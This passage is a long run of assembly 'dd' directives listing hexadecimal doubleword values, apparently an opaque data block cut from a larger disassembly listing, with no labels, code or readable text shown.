76CB43DDh, 0E85C0E47h dd 349E1723h, 236C2E48h, 7E840086h, 0C161F60Fh, 0E4D66717h dd 4FD86C66h, 0EA9C0B4Fh, 0A944F8C7h, 705AF861h, 0BD2BA240h dd 5821F43Bh, 0C621F8h, 320FF1DCh, 0D5E545CCh, 40485451h dd 4DF8E40Ah, 465EDC9Ch, 6B001F8h, 0B25EE225h, 5C3822DDh dd 0F8BAC210h, 0F2048CEBh, 5BA89711h, 0CAD5A091h, 2A28083Ah dd 3E9848C0h, 2C6E4FA8h, 50016D2Ch, 68B31D98h, 0E6DC3F71h dd 25D091C6h, 0A2E408C5h, 0EB8D160h, 0F1A56E01h, 31567D4Bh dd 0F83387F8h, 701978A2h, 1C0A9F21h, 0E08C8274h, 6F183F27h dd 8AC62623h, 86C2C20h, 420BDA84h, 0C0FCCDC2h, 31D5FC29h dd 5C5F3A00h, 4839248Dh, 7E2B18A8h, 647F68ACh, 16032012h dd 7F395CE0h, 96522FE6h, 97800CBDh, 23A48DE7h, 0C79540E2h dd 9D1BB72Dh, 80A7916Ch, 0B862A4D7h, 40D64A75h, 44E8BB2Ch dd 563EA909h, 3E9BB6Bh, 0BF37C8DBh, 0A27C98B3h, 940100EAh dd 7A5FE8A6h, 0BC4E9E59h, 7300106Eh, 20E486B0h, 401D56CFh dd 35425FE3h, 0D9E71638h, 18F6D924h, 0B5C23CEEh, 0CF6F5909h dd 1C703873h, 28FE050Dh, 0F1FB58D5h, 0BC282854h, 61048CA6h dd 0F6632BB3h, 0B19CB4h, 0AB5A7826h, 531C1FDBh, 0DBECE04Ah dd 0DFA62704h, 7428ED29h, 0B6CB4701h, 0B01203A2h, 0A7633024h dd 0DA3F428Ch, 66FC8B19h, 0F3E7EF8h, 0EE9071BEh, 0A280DA08h dd 3C899D75h, 0D7A75B91h, 315980D8h, 1B5D788h, 52987160h dd 0A7B82838h, 108E28Ch, 35ABACD7h, 30E1837Ch, 4A4DA3DCh dd 7EFC4114h, 24EE6840h, 0C14BD604h, 4623A2C1h, 0FCDC74B5h dd 149A825Eh, 2BB96DC0h, 0A3E6C799h, 1AC16416h, 0E634F407h dd 0FB52A742h, 20445810h, 0A4A4813Eh, 2340A4D5h, 8AD0CBh dd 5E90CC9Ah, 1C3DC20Dh, 410BB000h, 0B1819EA6h, 0FCA4588Fh dd 9DA26982h, 5C125C70h, 5CB45BE2h, 0DDFF09CDh, 0C0042442h dd 4530E0DBh, 0E4357F0Bh, 47B460B3h, 0DCFC4CB0h, 18CF6E8h dd 65A974Dh, 8BFB70BEh, 0A02EBF61h, 0AB74D6E0h, 8E40004h dd 5BAFF2AEh, 0A200E27Fh, 0CF388B55h, 9E23A02Fh, 56AC934Ch dd 697AA84Ch, 8101D89h, 0BC60D9F2h, 1415178h, 0E8E55740h dd 0D4B76E59h, 0F494AC39h, 0A4809C1Ch, 5680B6C8h, 7B099529h dd 9035C854h, 0E9ECB0FCh, 0A349008Ch, 8BE063D7h, 6CB82A79h dd 7D889174h, 670E40C3h, 278E9407h, 5B90326Dh, 66F5B25Fh dd 0C3C2842h, 31BBE801h, 3E51A259h, 257018A8h, 0D009F25Dh dd 0E3007CE4h, 24BFBA6Bh, 1C40C40Dh, 0C94A8258h, 8A9F201h dd 0C200058h, 7C80B01Dh, 0A0F89E83h, 0DBB23230h, 145C2028h dd 3AA8467Ch, 53498943h, 0B33CA0D6h, 0D793B231h, 0E030A688h dd 0F4F7DDEh, 0DB936904h, 0B230E392h, 0A7A63081h, 0EAEBF900h dd 86D43BCCh, 55940B25h, 106DBC1Ah, 0E8E984C0h, 5E6AFEE7h dd 3A2C803Dh, 3225BBE4h dd 9FDCA2B5h, 239A01E0h, 5844682Eh, 0A9A73FECh, 8DD168DDh dd 0BA0C9918h, 80316B79h, 404241E5h, 0BCC20BDCh, 6C5FC0A4h dd 206E6017h, 12CFE303h, 0ECC83BDEh, 90B4541Bh, 80BD60D6h dd 0A3E67986h, 0C2568E01h, 0CF99E7A1h, 9778C2EBh, 82EA91C0h dd 7E5A10A5h, 5E9840FCh, 0F700862Bh, 650B67C4h, 59FA0956h dd 1D0044DEh, 3117BA1Eh, 0C595CE4Fh, 60F9E4C8h, 30B81CEh dd 0FACA2551h, 5CAB337Dh, 0CD2B5805h, 0B4028DAAh, 0FC9C2157h dd 5B7009F8h, 0CE83209h, 0C082D498h, 809E2E30h, 0B003C79Fh dd 0B7F783FAh, 1E69902Ah, 1FDE305h, 6B6FEB20h, 0B460DC1Ch dd 0AB1C3E82h, 7D00CD3Ah, 316C8050h, 640F07D5h, 807E4733h dd 6F2F8C6Bh, 16288D01h, 0AF4232CCh, 4127A460h, 0D90020DFh dd 0DAD0EE12h, 7C80089Bh, 1FDED6F4h, 20083E2Dh, 62DBD7B4h dd 0FDAF00CFh, 8CF415AAh, 277334EBh, 382A6D1Eh, 0D5B84AC2h dd 82507E5Ch, 0B247150Bh, 95B7584Eh, 80FD91A4h, 6F20F2A5h dd 392D60D6h, 0B3214650h, 90C85C4Ah, 0CEA35B0Fh, 85410030h dd 21F7E551h, 7CB09CDAh, 0C0008F46h, 5DF488D7h, 3117564Dh dd 94A4D8C4h, 61F728DCh, 44E89028h, 1C07EAB0h, 59677545h dd 0B7FC38F0h, 0D0E44CC3h, 0ABF9A19Fh, 6C02D118h, 1B04D7Ah dd 78C5802h, 0E7B2537Eh, 41DF935h, 7083A391h, 0F080AAABh dd 0BCEAB83Ah, 0E42E042Ch, 7DFD467Eh, 2657E13Ch, 8002D4DDh dd 425370A9h, 981D5DA4h, 609E4388h, 5A2FDF08h, 11239404h dd 0AD80D6D5h, 24F4C5A0h, 27486C84h, 3E6F1098h, 944880h dd 0B92C9FBDh, 92232678h, 5F88B167h, 6615E2C0h, 3CB490A8h dd 0A70012B6h, 625883DAh, 5053DF5h, 8CBAF121h, 279908C1h dd 0DE603C00h, 0B6E6EC04h, 38B27977h, 0F830EBE2h, 0B4547875h dd 8D465E30h, 12D4321Dh, 64801B3h, 0DA03A86Bh, 31853068h dd 0CC9BAC3Ah, 8DB86214h, 6B0F0249h, 98005C66h, 2A2CD379h dd 0DD51E4h, 151767A9h, 7E6A5C7Dh, 0DED1C600h, 0FDD00E09h dd 52AF2544h, 0A1583853h, 3D31E891h, 7B1360F5h, 7640F8Ch dd 2800D0D4h, 813DA65Eh, 0C2629DFh, 172D20D5h, 0DA3F8894h dd 0FFC06A64h, 3C68C4D1h, 4AD7E0Eh, 0D0DB70A7h, 8A1CE5BDh dd 9C90E1E6h, 217920h, 70F5F001h, 0C603A4BBh, 5C81A34Fh dd 3E3A1BBDh, 0DA401070h, 0BC6B25C0h, 0E302CF89h, 0D7E97176h dd 80ACFCB4h, 2EEC8B64h, 0E80948BFh, 0B2F91AA1h, 5EC85C2Ch dd 0B07E946h, 0B176EB39h, 0E4B343FAh, 8A4B0159h, 9406E812h dd 0F0E08E86h, 4A5EEEDFh, 7A4C0F4Eh, 0ECD8CA04h, 4B0501B8h dd 73CD7433h, 6EAED444h, 48FF01BCh, 0CA4EECD3h, 24B306FCh dd 0AC7D0Eh, 8D5C76A2h, 83063825h, 0B76E0BA4h, 407F4D98h dd 3087A4Eh, 0D1B465DBh, 14E4FBBh, 31FFE510h, 138C2274h dd 1823B0D5h, 0FFBE034h, 655C00AAh, 6AED040Eh, 0E30044C3h dd 97A18FD0h, 94866Dh, 9EFC2363h, 0A637A04Eh, 351008C0h dd 0E85258Ah, 6229570Dh, 12A96441h, 0B7A4F8E6h, 6EEF5900h dd 0D70F3F6h, 7CDF4FCh, 0AB8F12DFh, 4E4850B6h, 0A36036F1h dd 61277F51h, 0F22903ACh, 1A201304h, 219A0830h, 1C612B62h dd 0BFBBC3D3h, 22875C8Eh, 0AD4E4A20h, 29C1A079h, 0CE3DD2Ch dd 0CC29D89Fh, 0C8985F19h, 9F206060h, 54E7EAh, 0BD935CD3h dd 8225E4C7h, 996A7800h, 0F0056DC9h, 3AA40295h, 4EB961ADh dd 578E1AC0h, 0A0B6A601h, 9F0DC81Fh, 59F07089h, 5C011AF6h dd 648FA43Ah, 98EB0895h, 9B51CD00h, 981A3210h, 17A5E60Eh dd 28036073h, 0C00EA7E5h, 7A391FA8h, 0D73E589Dh, 0F360512Bh dd 69F829C8h, 1050EDF5h, 1B0F4A4Eh, 11A47655h, 0F3E3A980h dd 84A32701h, 82D31F5Ah, 0C00EF9D0h, 0E1C0E620h, 0A600CD99h dd 6C7A91B8h, 797EE90h, 0B2A513F7h, 65ED3015h, 0A4A8A2CEh dd 5B18D79Fh, 0F9F8A13Ah, 0AC8801DDh, 49DA8F50h, 2958890Fh dd 0B533001Dh, 0A5CA9BBh, 508D6207h, 22F71EB8h, 6653370Ch dd 394A4899h, 0DD08D693h, 6421709Dh, 8618F451h, 0C016C72Ah dd 0FA00317Ah, 0E3334D9Ah, 304F5610h, 0DA31F379h, 9D00747Dh dd 0D0C770D5h, 0D913Fh, 386E60D3h, 0BB282673h, 960ACE90h dd 84B1F91Dh, 366A4F00h, 5A0809Bh, 63DD2909h, 19C84008h dd 0A5025FCBh, 0C4912B28h, 0AC025246h, 0AB27F2E3h, 0E1480332h dd 0C2DC90C3h, 902652F9h, 6A5BD504h, 0A435057Fh, 0A0F8C023h dd 0C35AC6C2h, 543E2E11h, 0F314D990h, 0E4CDA20Eh, 21328CF2h dd 5436001Ch, 86CAD847h, 5602CB39h, 0A0F7B7DAh, 3D2490C1h dd 0D93F1154h, 8131881Ch, 0D554351Bh, 3305CC9Ah, 5B87D305h dd 0BC302C5Fh, 1C700F09h, 94340A2Fh, 0E506AE0Bh, 0C8887623h dd 0A93722h, 18B38A2Bh, 0EC63534Ah, 0ADDE0209h, 5D8128Dh dd 0A040A6D8h, 538C8EC4h, 4A7F267Bh, 98465E10h, 233DE639h dd 75C71106h, 0F50059B0h, 0D757DBF1h, 42BFF4h, 7683ADC3h dd 0FC69E125h, 0AE411F3Ch, 0A0019F2Ah, 6FC253D7h, 0F829F822h dd 186979A0h, 1F4A01E6h, 63E28951h, 9D4C3018h, 5C8E4212h dd 0C04F1C08h, 2725E1C7h, 9182D321h, 0BEE000F6h, 103C05E1h dd 0D0CB078Fh, 20FCFD97h, 0FE94A4FBh, 3A7FBD00h, 0D5A54F21h dd 0A26E307Bh, 62C6C0C0h, 8E0499C0h, 7B9A59EAh, 31CB0319h dd 94467EDAh, 2C4095C2h, 0CC98F4A4h, 0FCC45085h, 30491160h dd 81B45138h, 27651FA6h, 6208562h, 5991FD12h, 0E1C68050h dd 0A5BB2728h, 0BDDF007Ch, 0FB0D21E1h, 4BCD2909h, 5E3480FCh dd 0EE22816Bh, 31152C0Fh, 0A6948030h, 2B0BDFE9h, 0B6F06A0Ch dd 483679AEh, 0F4C02437h, 0A29A961h, 6593448Ch, 2442C40h dd 37C26ED1h, 443B44Fh, 5CFCD8E4h, 963E9B08h, 2104C634h dd 9B54D200h, 5250FE1h, 0A72C98A6h, 606C4424h, 0EAED5007h dd 0FA1CE94h, 80C15285h, 0CD34BF0Ah, 0E924C800h, 18A01C61h dd 2B5E03E6h, 0AA15C92Ah, 54764839h, 8E033BB8h, 0FAB558CDh dd 0C39023A4h, 5D543B01h, 68184CD9h, 331988h, 0D3E59854h dd 0C20BC611h, 0DCFD8F1Dh, 9E30C0E8h, 266328A5h, 6084AACAh dd 0C1077D30h, 6A7BD720h, 0B0A4679Ah, 12BD2C6h, 3046F144h dd 0E08E6AF7h, 3418227Eh, 45A84DA0h, 60F7E94h, 93ADA7A9h dd 2A0919F5h, 1F4ABCDh, 0DC4A2120h, 1B1043D6h, 69C424B0h dd 1299823h, 963B9B5Bh, 0C008184Ch, 9B53D321h, 2705668Eh dd 0B379551h, 103CD454h, 28C036F2h, 2A27C561h, 0FB99458Ch dd 0A27E20CFh, 0B2018555h, 4A07DE36h, 0A0206BFDh, 8BB13A88h dd 9228D85Dh, 0AA49160h, 0A1D403C8h, 1931D1ECh, 1130D0h dd 0DC44AAF7h, 0EFF9C88Dh, 0D8803C91h, 91C5A152h, 5CED00F4h dd 0C26B8822h, 5CC36C95h, 0A89F42CBh, 1323973Eh, 2263D42Bh dd 0A047A0ECh, 6C600144h, 8B000EC7h, 1104805Dh, 901D7A34h dd 907C905Fh, 743173DCh, 9DF416EEh, 4C1253h, 44E1CE68h dd 3CA5B9E2h, 6407C4h, 45178BDh, 7BE840ADh, 1FD00A59h dd 4E40DFB2h, 0BED146AEh, 8C0901E2h, 0DA8E1364h, 238C7130h dd 30F8B2A0h, 7E0071B8h, 7C46CEABh, 0B555EB3h, 0CBEC9F21h dd 0A01D40A9h, 6E82FC11h, 0DFC023B3h, 15027FE8h, 914A2A7Eh dd 402C4259h, 60267B40h, 10AFE071h, 1F2C29FCh, 0A360CC50h dd 20853464h, 0A8917EEAh, 0D0189971h, 0FF660201h, 0C7308F40h dd 1E3450D6h, 9280DDF9h, 23983A0Fh, 17450194h, 601D5D5Fh dd 0DE406F10h, 0EC490546h dd 2EA0C57Ch, 9A2358h, 3D8D3E86h, 4D00D766h, 98DEB191h dd 193132E8h, 5847565Fh, 0BF31835h, 0D229B061h, 11902C1Ch dd 0C7EC6109h, 47BC206Ah, 21CAB1h, 5F7E294h, 789DA2BBh dd 0B249201Ch, 82E38541h, 0EC235BFAh, 3700BF23h, 0ECD95954h dd 500894F2h, 5300EF0Dh, 0FD061C21h, 2D0FCCFh, 5B41012Ch dd 0F881A6BEh, 289B2B28h, 8CFBBC64h, 230089E6h, 0A7E52405h dd 303CFCF5h, 6CF1A837h, 9A00CF31h, 34303647h, 5D1938Fh dd 0D3CD2BAAh, 5FD405EFh, 0BD449237h, 16543930h, 383CD95Bh dd 0F1000F8Ch, 3BE78D53h, 0A4ED2BAFh, 9CAD7BFCh, 952A8250h dd 9C4004C3h, 0B725B13Fh, 9138976Fh, 5D5787FBh, 48999210h dd 1E5107A6h, 0CCC7BECAh, 7D008D91h, 82E9AF89h, 1A424DFh dd 0A68BA92Fh, 0C0CE8E46h, 3E00BF2Dh, 2184D0C8h, 14963F04h dd 0F5AD3A9Ch, 92564E05h, 3AC81273h, 7062358h, 0A1A95B9Ch dd 0C817D951h, 6E404223h, 75151709h, 0F0904012h, 90F10B05h dd 0E3450F02h, 843032D2h, 3860C0C0h, 0D9105854h, 6AC8F2E4h dd 53F00E80h, 7527A80h, 215F3FCBh, 0F491E9F6h, 0B581820h dd 54963A9Bh, 0CE01A01Ch, 98359B50h, 0F9CCB9FFh, 5AA51AF4h dd 88372111h, 8275F780h, 11DBBBAh, 211FFBF3h, 0FC2C8A83h dd 0C81290B8h, 30CB4914h, 31C19788h, 2C61B21Bh, 0F4581DCh dd 53E2C228h, 5B889EAh, 8BF7D6F5h, 0C065C8C0h, 84BE17Fh dd 11435D02h, 61510D62h, 43857D0h, 388C68BCh, 0AC8F4023h dd 9661B7F9h, 200118F5h, 0B87B3704h, 0A1F2625h, 4674000Ch dd 5A00736Bh, 0B0DE7159h, 4A9D87AEh, 4E0000C5h, 0A86411Fh dd 0CCD40C26h, 14F55308h, 4AA621h, 0D9BD83B8h, 0DC2C8F45h dd 0C7929CAAh, 0D346A091h, 0B3AE130h, 0F2669D75h, 0C641D200h dd 8015A23h, 0A9F99A78h, 93CC2CB2h, 59E10222h, 4DC194ADh dd 0EF46C0E4h, 0C6612502h, 0F09C2227h, 61216000h, 249C1E33h dd 4F54989Ah, 9DC407DFh, 0A0657583h, 42886124h, 69560002h dd 0DEEB11ADh, 0A8F27745h, 0E8A8274Ch, 0A4008CF7h, 0AF4912B2h dd 7FF57C3Fh, 61D8A840h, 1DA024B5h, 9B57C384h, 186C96E9h dd 4FCF8802h, 8E059B00h, 8A534B01h, 1B509092h, 0C05672CBh dd 0EE9DCE8h, 467628B4h, 1C0F00F7h, 0CA8C5E4Bh, 0BCCB137h dd 61001B5Fh, 3C0C6401h, 9700E077h, 63B4EFF7h, 0F2D34DB6h dd 0D99F09D1h, 0C03E483h, 0B90617C7h, 538F3DDh, 60D716F8h dd 29500127h, 5057C947h, 8C7053BCh, 0CFA5Ch, 7A69800Ah dd 1F92558h, 6BA515A8h, 203DF121h, 3B8CBE6Ch, 0D996543Ah dd 0CB2C3934h, 2BB853BBh, 0F8E2F3F6h, 8850A56Ch, 5C5896B5h dd 979F0121h, 0ED750011h, 4B254A1Fh, 0CF522090h, 0DD908C0h dd 6229050Fh, 9E54B009h, 8C23DC2Ah, 1856CC81h, 0EEE30BB0h dd 30458B27h, 0E1C7E580h, 295FD56h, 0FBFF2D25h, 30CE53A4h dd 46567094h, 13037202h, 5B5EFC57h, 2A76E0D5h, 3A50D272h dd 20323F8h, 0DDB860DCh, 0D146EC83h, 0DB664DD8h, 86025B1Ah dd 0DA900358h, 6ED94FDCh, 80A107B4h, 1889136h, 79050AFEh dd 0A08828E8h, 30A2520Bh, 46C91F75h, 13176849h, 0F43A302Ch dd 95019A23h, 0AE92B98h, 42A3E0h, 49EDB68Eh, 29FC74A9h dd 87461D18h, 2C639F64h, 94A0D423h, 2E005837h, 0E3BD3ADDh dd 0D51E70B5h, 3071F34h, 403FE05Ch, 7B9D377Ch, 0C0A2121Dh dd 0D2980EFAh, 43227A0h, 0C1242596h, 133F00FEh, 7082E39Dh dd 79887910h, 0E4189Bh, 0AA0EFECDh, 4A8F5174h, 4FDD2909h dd 98908307h, 433DC3B4h, 0FCE2D830h, 56F0CE31h, 14F400AEh dd 29056603h, 0C964A53h, 9A465Ch, 64ECCBB3h, 70FCA1FAh dd 402C5E3Ch, 95CFD7A0h, 35ECA4B0h, 4674F0B4h, 42450067h dd 0BA688148h, 0A9220761h, 48E42FD9h, 0C5835191h, 0C38A27E1h dd 0E260D459h, 14E1BCh, 0D05F28B1h, 22570763h, 0A592AD18h dd 0F0D9FDD9h, 0FA4205D7h, 359F122Dh, 23502EE8h, 0FA250095h dd 0B77C4611h, 0E42BD824h, 8D14BC28h, 0E8E059E4h, 1C058CF6h dd 5FC7D994h, 0D83D9440h, 14691Eh, 36151897h, 0C6397E17h dd 22883A00h, 0DEFC1DC5h, 5424255Eh, 746D2012h, 56020F67h dd 0D07562E3h, 0FD7B397Ch, 2C80EBA4h, 65467470h, 512E4B01h dd 5137E8C1h, 50A3C594h, 0B649AD88h, 272DC8E8h, 0CDFCA0C9h dd 7EEFD717h, 281E0083h, 0FBBB95E6h, 0C2B0B80Bh, 1991E102h dd 87292B87h, 94425EA4h, 8E58E8F8h, 0DE007CCh, 0C62795BDh dd 221619F0h, 144158DBh, 8E73A9A2h, 8C720871h, 2C3105E2h dd 0B075DCCh, 0F3067409h, 60613C02h, 37952801h, 9E840C2h dd 6DC91D55h, 0F79F4996h, 6AC44045h, 53E2B460h, 0C8801E28h dd 5BF5953Eh, 0B55F0445h, 8281449Bh, 49832A8Dh, 0FD95F0C4h dd 0F4F9F828h, 0D673D513h, 243A64C5h, 0C19EEB10h, 0BDC12E60h dd 0B12A6AD9h, 8D54F00Ch, 257A4006h, 0C008B9h, 8498B6CDh dd 0C97F4982h, 0AF80E4BEh, 7C31DF13h, 0A53622EFh, 30C9500Eh dd 2C63C5F5h, 0AA1FE45Fh, 0C9A9764Ch, 0ACC50067h, 9DD4CF2Bh dd 0B524B8B9h, 0C8325C3Fh, 9B56301Eh, 64963812h, 0D03980CBh dd 0B32F9B80h, 5901F903h, 0E993F802h, 4029DFF0h, 45E28EECh dd 0BC63AEh, 0CF0EFBBCh, 1D72DD4Ch, 432D2713h, 5C8E3449h dd 28994AB9h, 0EC72180h, 8020CF98h, 7F700862h, 4A411303h dd 0FAF757Ch, 74D4C261h, 0E471E900h, 0CA000734h, 36991146h dd 263DD2A1h, 7698E094h, 0E401F646h, 0D68DE02Ch, 0D439A8A1h dd 8DD9E30h, 90301DB0h, 1C2B4634h, 968B9B3Dh, 0DC9C3Ch dd 0CB9B55D1h, 0C85D6FC4h, 10FF49h, 0DD47D532h, 71542h dd 0CBB07051h, 9FE26A3Ch, 1EF5E93Fh, 32811482h, 0D96227F4h dd 0C7867C7Ch, 0C1006115h, 256F5157h, 9A94879h, 4ACD0FB8h dd 999C8C0h, 454B68BEh, 606BE4E4h, 18A9025h, 7F971FDCh dd 7C6CDE69h, 84B2D288h, 4A587B00h, 26C1C608h, 71506300h dd 0F0934CEBh, 0EFE40942h, 0C4513D9Dh, 38189479h, 2653780Bh dd 0B634419Ah, 2C8C44Bh, 0BFD4D4C7h, 73B224C1h, 1C90C00h dd 6C2DA85Fh, 9300C1F9h, 1D2507A9h, 7BBC1CD3h, 0A70E40DCh dd 5D4051FCh, 23B5102Ah, 0B48A96F6h, 56C0F7C8h, 54B5BFFh dd 2BB0D5D2h, 254CF386h, 0B260A1C8h, 52E4A5BBh, 0FBD80EB6h dd 0D962FC9Ah, 84CD235Eh, 0F0600344h, 0F5B021DCh, 7CDC2E48h dd 4522F918h, 2798D779h, 903DFD37h, 49D1BC80h, 0B29EA39h dd 0A9E0CB95h, 712E48E0h, 3046AD43h, 30D23B7h, 0D14626C8h dd 568D6504h, 9CD54479h, 0B5E154A6h, 0B04CF4E6h, 89013801h dd 2BAF14F6h, 0C2E2F3F1h, 60205E78h, 201FFC40h, 6C908029h dd 88D49F10h, 178C95B8h, 134010Dh, 7BE4B31Ch, 48186892h dd 8C04E8F0h, 210CBD03h, 40A9D3Bh, 0DD4A2C18h, 4564806Ch dd 0F496B9E2h, 9EEB215Eh, 0DF450180h, 0B73E0Fh, 0B8CD9048h dd 3A235940h, 0F925E4B2h, 1FA42026h, 24B6AE39h, 1734A49Ah dd 88548FC3h, 26D8C068h, 2D7881A9h, 15161A7Ch, 0EC0BF785h dd 0DE2C4876h, 7A030A9Dh, 5DF2838h, 408E3730h, 0EB679AB4h dd 68004505h, 0B273D2BEh, 1594BF4Bh, 8413C780h, 480EDC3Eh dd 20E0DE7Dh, 2658DFADh, 50B03D03h, 0A1BEF21Eh, 70C03FEEh dd 94B175h, 6B018BA7h, 0DAF8F01Ch, 30A67700h, 56C6BB74h dd 490F005Fh, 0D9CFA37h, 76FD2659h, 0AC0F7D0h, 14CE6F4h dd 0FA964F5h, 5EC14Ah dd 0A7A1B0C8h, 6066C4B0h, 17AD674h, 9AE35170h, 687CF3EDh dd 0A0BE1230h, 0E1E094A6h, 0C30210E3h, 9527FCE2h, 505697h dd 8C21A0C6h, 7000BE88h, 0BD411F1Ah, 70EED3D4h, 61AD00C2h dd 47565EB8h, 2F35D989h, 0FCA23818h, 0E2BCB001h, 2AA88E23h dd 9B2B4C05h, 305B18F1h, 60EE40DFh, 0C5D7E272h, 80D0385Ch dd 2025FB82h, 408C38C7h, 0B8A32B2Fh, 46E829FCh, 170BC187h dd 6A0814F4h, 11981DA0h, 0C6498008h, 33B1813Bh, 9F811EF9h dd 82EB27A8h, 67C46CA5h, 0D4CF0B60h, 0CC65C702h, 842B3E87h dd 9D050EC4h, 20808963h, 48CF05Ch, 27C76126h, 0B0DCA81Ah dd 611E5Fh, 7E412B5Dh, 270F02E3h, 62618279h, 0BBEC9E50h dd 2F5ABC7Ch, 2F52320h, 0B577ACAh, 21B24040h, 0CCE7AC02h dd 46A7C96Fh, 0EC47024h, 0CF8FADDCh, 3538B815h, 1FA02729h dd 0D862CBF4h, 6AE4BCC5h, 5BD79C60h, 3494D224h, 59B1661Ch dd 298064C8h, 6BAA0D2Fh, 910037D0h, 0BFA2D955h, 32906E9h dd 5B3ABC54h, 40049536h, 4A59C84Fh, 0FBAC6CF9h, 0A6494600h dd 41922765h, 0A1E89A36h, 6429B640h, 0E0042ACh, 7C46BC23h dd 2F5BE2B9h, 549A87F6h, 69598C59h, 0F8009418h, 417F211Fh dd 9556DC71h, 0D500E037h, 2BB11859h, 822A1288h, 8A988081h dd 9874ADA6h, 0E3E8A097h, 0A9A76797h, 53DC20CCh, 36132FD3h dd 0DC852882h, 0B04524F8h, 0FB9EF087h, 8BBC512Ch, 0D0042E62h dd 0A22510BFh, 30FAB2ACh, 1D00A568h, 0A95BBCBDh, 1E138F46h dd 17CD2B58h, 3C14DD08h, 8C97BCB4h, 2DB93104h, 0E481A9CFh dd 0B020DB93h, 91EEE139h, 746D75C4h, 70E87100h, 0A6300AEBh dd 0CF308BEEh, 3229FA8Fh, 0A3F90021h, 540956C3h, 33524E4Ah dd 61F10248h, 5C0229AAh, 2D645858h, 0C9656108h, 664D8058h dd 0D2B967C2h, 8D93A403h, 3B894A29h, 0A8277CF1h, 9EDB0068h dd 46766494h, 0D4A80707h, 0FCF1DF02h, 216A3CC7h, 17E6A48h dd 6026E095h, 2C7698F0h, 0A62B5413h, 0F8C83C8Bh, 3C1219C0h dd 2966017Eh, 7BDCE70Ch, 0D3002005h, 4A345F12h, 13E0D4F6h dd 9D000506h, 6119AF65h, 94F293Eh, 0EDEBB189h, 24C7040Bh dd 1F0EEC89h, 89F6116Ch, 731582F7h, 0A59042C9h, 1C999364h dd 0C8C11C5Ah, 623B9171h, 0CD2AC144h, 0D0A8F97Bh, 3FDD2198h dd 1D4AC2Eh, 2A542EC6h, 0AC633D92h, 85BA7048h, 0AE7B3910h dd 0EAFD40A4h, 0A51503A4h, 0A30A23D5h, 2B661875h, 18A81190h dd 618F3897h, 0C90051CEh, 0D930B70Ch, 0FC079ACAh, 81E902B0h dd 38F3DE65h, 63003CD0h, 0FC3F0C5Dh, 4C0A391Fh, 0AD10E095h dd 0FBB80E56h, 0D57CE35Dh, 24EDC453h, 2A812B01h, 0AD686D7Ah dd 1E43728h, 0C8EE4C42h, 4FB824FBh, 0F24D5401h, 822944F0h dd 6CD03B71h, 5BEDEE49h, 3EF880B7h, 6F2CD850h, 95052B59h dd 0C812F807h, 0F4C8B08Bh, 9363B0C7h, 80F14BD9h, 28C5492Ch dd 8E085D0Ah, 0AD0918D7h, 0C8D84994h, 86002C32h, 7F0B91D5h dd 29EAD89Ch, 5540989Eh, 13057A2h, 0D233C3DBh, 23E38B4Dh dd 30FAA2B0h, 67010ADBh, 4893D5B5h, 246DD88Fh, 0D68E4602h dd 2859393Bh, 4FAD013Ch, 4C3CE41Ah, 0FD44720h, 0EA1BAAA5h dd 0F3B149A0h, 0B76B66C7h, 708B730h, 302B5AF3h, 91595DAh dd 0BF4090B6h, 50AFDD27h, 7C3ECCD9h, 8F4E4F1Ch, 0C03288F0h dd 0C4DA4442h, 0B5120190h, 0C4E031E3h, 148E7AC2h, 0E038C56Ah dd 87DD2C04h, 0B284F3F7h, 0F42E30F8h, 9E998E3Fh, 0FF80B130h dd 0CD3EBEEAh, 30019F96h, 85023A5Eh, 0A12597C8h, 9F7864ACh dd 0EC08C09Dh, 7576F9Eh, 909319h, 9594EBDBh, 23E4B102h dd 5663CD4Ch, 1467454h, 0AD9EFE00h, 0D62270Bh, 22905C50h dd 0C0A38E04h, 0C4A45DC7h, 0BD3C01F4h, 36F39063h, 0EC87E01Ah dd 0E72DE6F8h, 0BEAC6423h, 96465664h, 0D632B500h, 0D9DEB0F8h dd 7CFD3578h, 8C31BC68h, 0CCB5C101h, 403C3481h, 19FBABC0h dd 71AA91ADh, 1C6479C8h, 75099E16h, 45000901h, 609AE41Ch dd 3A8E8828h, 0F40BE4B4h, 6C6C0FE0h, 91CC9595h, 62248569h dd 0CAD3ECADh, 0C093C830h, 0E79529CAh, 3D4C64F9h, 91309795h dd 0A20A8295h, 4D94C011h, 8F45805Ch, 0C9566505h, 50B2A5FCh dd 6CB9CC4h, 719B275h, 86DB3830h, 9B0B2055h, 50001992h dd 9CF37E31h, 0B58DDF6Fh, 4A20B09Ch, 5E0C94A1h, 3F000646h dd 8D0C48C8h, 4981CD8h, 4FCA2100h, 0D0B27C46h, 446B00C6h dd 1D7BF618h, 9CB0A0B1h, 6CD13C91h, 69057D18h, 4DC38E73h dd 188B8852h, 74C032C8h, 46F66h, 9A62DC4Bh, 0F9B95786h dd 59892332h, 0AFE4601Fh, 0A9483EEAh, 35C8950Bh, 0D3748464h dd 0F4A09Eh, 26A567B9h, 222BD8FFh, 0F96881BDh, 29963A2Ah dd 8598A476h, 530A5D04h, 408838C6h, 4AF6005Fh, 3C636EEEh dd 9400DE33h, 61ED6A07h, 15EB5BBh, 3FA9AEC3h, 730F7F79h dd 30F8E2E8h, 0C0028857h, 6229ABDAh, 29D87045h, 2988DCE6h dd 0FAC7094Ch, 0D3EFA4A0h, 95006B72h, 3DF630D8h, 60D52181h dd 2220B4DCh, 5D045F46h, 0EF79414Dh, 542338A2h, 0F4E3AA01h dd 2D3B9B27h, 0E1C1F81Ch, 354FC0Fh, 9028EA6h, 6C6529h dd 91A6501Eh, 0A00447Fh, 2D669320h, 2CA417A8h, 8636D9h dd 92650633h, 0D0B682C8h, 3B952860h, 90F09014h, 0A0017C18h dd 32C9A880h, 0C8180D97h, 623C08DAh, 0BE587ECCh, 0EF1F11B8h dd 53838E00h, 0ED9F099Dh, 0D305F8B0h, 931A2BE2h, 0F04648A0h dd 0D12CB1B9h, 47D01905h, 93280046h, 961990DEh, 6315A44Dh dd 0C8C224h, 2C33CE8Fh, 194F5304h, 78981A76h, 2B252027h dd 0B01DE891h, 19CA818Eh, 0F7442011h, 0DC71E780h, 14AA02FDh dd 697E07E9h, 50AE4F60h, 509BDE4Fh, 3AC40180h, 1C0EF227h dd 612F9350h, 0A134C7BCh, 1F0B9869h, 1C9D4DF0h, 0C28FF411h dd 0D1F13880h, 0C600B7BEh, 655046FDh, 58349839h, 67E87C31h dd 4F54048Ch, 0C39547D3h, 0D9F015B0h, 80B5DAB3h, 85D86218h dd 9F112659h, 3467CA8h, 2B68DF0Eh, 0FD620182h, 75E0B848h dd 0E228A352h, 91273007h, 4F58A50Bh, 0B0406048h, 3FBF00F3h dd 53E2D6DCh, 24968D96h, 0CE772100h, 